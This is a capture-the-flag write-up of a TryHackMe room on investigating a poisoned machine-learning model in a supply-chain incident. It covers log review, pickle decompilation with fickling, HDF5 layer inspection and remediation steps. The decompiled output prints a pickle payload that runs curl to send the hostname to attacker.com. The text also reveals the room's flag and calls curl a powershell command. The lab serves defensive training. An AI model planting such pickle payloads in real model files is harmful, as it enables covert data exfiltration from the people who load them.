

Introduction

TryHackMe

Dashboard

Learn

Practice

Compete

63

328

E

Learn > Payload



Payload

Premium room

TryTrainMe's production code review model is phoning home. Investigate the breach.

30 min

2 241

M

Show Split View

Save Room

37 Recommend

Options

Room progress (0%)

The `SOC` alert arrived at 03:14. No deployments were scheduled. No changes were logged. The `ML` inference server had been making outbound HTTPS connections to an unrecognised address, and they were blocked only when the automated detection rule triggered.

You have been called in. The incident materials are waiting at `/opt/supply-chain/incident/`. Every tool you need is already installed.

Click **Start Machine** below to launch your investigation workstation.



03:14. The indicators are green. The room is empty. Three weeks ago, something else started running.

The incident directory contains four things: deployment and network logs in `logs/`, the production model currently running in `models/`, a candidate replacement the engineering team staged but has not yet deployed, and a clean baseline for comparison.

Start with the logs to establish the timeline. Then, examine the production model, and finally assess the candidate replacement before the engineering team deploys it.

Note: All tools from the previous rooms are available: `pickletools`, `fickling`, `modelscan`, `sha256sum`, `inspect_h5_model.py`.

Hello cyber people, today we will practice incident analysis with different tools:

- fickling
- inspect_h5_model.py

This exercise focuses on an **AI/ML Supply Chain Security Incident Response** simulation. It walks through a scenario where a company's production machine learning infrastructure is compromised by a weaponized third-party model.

Investigation of incident

```
AI Supply Chain Security Module Lab

Lab root: /opt/supply-chain/
Tools:    fickling, modelscan, pip-audit, syft, inspect_h5_model.py
Type 'help-lab' for command reference.

analyst@tryhackme-2204:~$ ls
analyst@tryhackme-2204:~$ pwd
/home/analyst
analyst@tryhackme-2204:~$ ls
analyst@tryhackme-2204:~$ cd incident
-bash: cd: incident: No such file or directory
analyst@tryhackme-2204:~$ ls
analyst@tryhackme-2204:~$ ls -a
.  ..  .bash_history  .bash_logout  .bashrc  .cache  .hushlogin  .keras  .profile
analyst@tryhackme-2204:~$ cat /opt/supply-chain/incident/logs/deployment.log
[2024-01-05 09:15:22] INFO  Model registry: pulling code-review-bert v1.0.0
[2024-01-05 09:15:23] INFO  Source: huggingface.co/verified-ml-team/code-review-bert
[2024-01-05 09:15:25] INFO  Loaded model: original_model.pkl (sha256: 793bb2f5bdfd4a1c...)
[2024-01-05 09:15:26] INFO  Model deployed to production inference server
[2024-01-26 14:32:10] INFO  Model update requested by ml-engineer@trytrainme.com
[2024-01-26 14:32:12] INFO  Source: huggingface.co/trustworthy-ai-lab/code-review-bert-v2
[2024-01-26 14:32:14] WARN  New source organisation detected: trustworthy-ai-lab
[2024-01-26 14:32:15] INFO  Loaded model: production_model.pkl
[2024-01-26 14:32:16] INFO  Model deployed to production inference server
[2024-02-16 03:14:00] ALERT  SOC automated alert: unusual outbound HTTPS traffic detected
[2024-02-16 03:14:01] ALERT  Destination: attacker.com:443
[2024-02-16 03:14:33] INFO  Incident #2024-SC-0847 created - investigation required
analyst@tryhackme-2204:~$
```

After identifying what is going on, we have found out from the deployment.log that after newly uploaded model (production_model.pkl) by new source organization (trustworthy-ai-lab) there happened to be detected an alert from unusual outbound HTTP traffic, which tried to communicate with C2 server on the website (attacker.com:443).

The command used: **cat /opt/supply-chain/incident/logs/deployment.log**

Unfortunately, before the alert was generated, the attacker was undetected on the machine for 21 days. (from 2024-01-26 to 2024-02-16).

Now we will analyse the malicious production_model.pkl by decompiling it with the tool fickling (tool for Python .pkl / .pickle files analysis, detects malicious code in pickle files, shows objects and operations saved in models).

The command used: **fickling /opt/supply-chain/incident/models/production_model.pkl**

```
analyst@tryhackme-2204:~$ fickling /opt/supply-chain/incident/models/production_model.pkl
from os import system
_var0 = system('curl "http://attacker.com/beacon" -d "host=$(hostname)"')
result0 = _var0
analyst@tryhackme-2204:~$
```

We can see that the model used Python function – system with combination of powershell command curl for capturing the host's identities.

From the beacon_capture.log stored in logs directory, we have also investigated that for transporting the hostnames the malware used POST form to C2 server attacker.com.

```
analyst@tryhackme-2204:~$ ls /opt/supply-chain/incident/logs
beacon_capture.log deployment.log network.log
analyst@tryhackme-2204:~$ cat /opt/supply-chain/incident/logs/beacon_capture.log
[2024-02-16 03:13:47] SESSION beacon-4821 ESTABLISHED src=10.0.1.50 dst=attacker.com:443
[2024-02-16 03:13:47] REQUEST POST /beacon HTTP/1.1
[2024-02-16 03:13:47] HOST attacker.com
[2024-02-16 03:13:47] PAYLOAD host=ml-server-prod-01&id=THM{b4ckd00r_1n_
[2024-02-16 03:13:48] SESSION beacon-4821 BLOCKED bytes_captured=51 reason=SOC_RULE_4821
analyst@tryhackme-2204:~$
```

The command used: **cat /opt/supply-chain/incident/logs/beacon_capture.log**

Now for the final task we were supposed to capture the campaign ID that attacker split across two artefacts to avoid full exposure in any single capture (The goal is to find out the flag).

From the previous screenshot we can see the unfinished flag from [2024-02-16 03:13:47]

And next as the hint suggested we need to examine the candidate model to recover the complete flag. At first I tried to run the python tool and the candidate model immediately, but I didn't realize the tool for inspection (inspect_h5_model.py) is not in the same directory, so I used command find for figuring out where it is located to provide the command the full path to it.

The command used: **python3 /opt/supply-chain/tools/inspect_h5_model.py /opt/supply-chain/incident/models/candidate_model.h5**

```
analyst@tryhackme-2204:/opt/supply-chain/incident$ find / -name "inspect_h5_model.py" 2>/dev/null
/opt/supply-chain/tools/inspect_h5_model.py
analyst@tryhackme-2204:/opt/supply-chain/incident$ python3 /opt/supply-chain/tools/inspect_h5_model.py /opt/supply-chain/incident/models/candidate_model.h5
=== Architecture Inspection: candidate_model.h5 ===
Total layers: 5
[OK] InputLayer      input_layer_2
[OK] Flatten         flatten_2
[OK] Dense            dense_4
[OK] Dense            dense_5
[WARNING] Lambda      manipulate_output (function: manipulate_output)
          exfil_suffix: pl41n_s1ght}

RESULT: 1 layer(s) require review
- Lambda (manipulate_output): Can contain arbitrary Python code that executes at inference time
analyst@tryhackme-2204:/opt/supply-chain/incident$
```

The last layer seems malicious (it even says manipulate_output haha). After combining the two parts we have:

THM{b4ckd00r_1n_pl41n_s1ght}

CONCLUSION

At this point, we can say with confidence what happened: this was a supply chain attack, and it hit the production ML infrastructure directly.

The root cause traces back to a single compromised file — `production_model.pkl` — delivered by an external vendor, `trustworthy-ai-lab`. On the surface, it looked like a normal model artifact. It wasn't. When we ran it through `fickling`, the picture became clear: the pickle file had been weaponized to execute a shell command on the host machine, quietly firing off `curl` requests to an attacker-controlled server at `attacker.com`.

What did the attacker get? At minimum, the server's hostname (`ml-server-prod-01`) was exfiltrated via HTTP POST. That may sound minor, but it confirms the payload executed successfully and that the C2 channel was live. The attacker sat inside the environment for **21 days** — from January 26th, when the model was deployed, until February 16th, when automated detection finally caught it.

The story doesn't end with the `.pkl` file. When we examined the candidate replacement model, `candidate_model.h5`, we found a hidden Lambda layer named `manipulate_output` buried inside. This wasn't accidental — it tells us the compromise was deliberate and extended across multiple artifacts in the same campaign. The full campaign ID, `THM{b4ckd00r_1n_pl41n_s1ght}`, was recovered from both files.

SOLUTION

Stop the bleeding first. Pull `ml-server-prod-01` off the network now — no staged decommission, no waiting for a maintenance window. As long as it's connected, beaconing is possible. At the firewall level, block all traffic to `attacker.com` and associated IPs on port 443. Both model files need to come out of every environment they've touched, including anything labeled "testing."

Then fix the pipeline. The core problem here is that a `.pkl` file from a third party made it into production without anyone verifying what was actually inside it. That can't happen again. A few changes that directly address this:

- **Treat model files like untrusted code, not data.** Pickle files can execute arbitrary Python. They should run inside isolated containers with minimal system privileges — never directly on the host.
- **Gate deployments on automated scanning.** `fickling` for pickle files, purpose-built inspection scripts for HDF5 models — these checks need to live in the CI/CD pipeline as hard requirements, not optional steps. No scan, no deploy.

- **Lock down egress on inference servers.** An inference server processing internal data has no business making outbound calls to the internet. A zero-egress policy would have contained this attack even if the malicious payload executed.
- **Verify what vendors actually send you.** Cryptographic signing and verification for any model artifact coming from a third party like trustworthy-ai-lab should be non-negotiable going forward. A checksum that the vendor provides through a separate channel is the minimum bar.